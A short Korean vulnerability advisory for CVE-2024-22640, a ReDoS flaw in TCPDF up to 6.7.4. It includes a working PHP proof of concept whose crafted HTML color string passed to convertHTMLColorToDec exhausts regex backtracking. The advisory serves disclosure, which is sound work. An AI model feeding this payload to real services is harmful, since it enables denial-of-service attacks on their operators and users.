CVE-2024-22640

취약점 유형

정규 표현식 서비스 거부 (ReDoS)

영향을 받는 제품 및 버전

TCPDF <= 6.7.4

공격 벡터

TCPDF가 조작된 페이로드가 포함된 HTML 색상을 구문 분석합니다.

설명

TCPDF 버전 <= 6.7.4는 조작된 색상이 포함된 신뢰할 수 없는 HTML 페이지를 구문 분석할 경우 ReDoS(정규 표현식 서비스 거부)에 취약합니다.

PoC

<?php

require_once('../tcpdf.php');

$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>

참고: 취약한 코드 줄 다음에 **preg_last_error()**로 확인하면 정규식이 PREG_BACKTRACK_LIMIT_ERROR로 종료됩니다.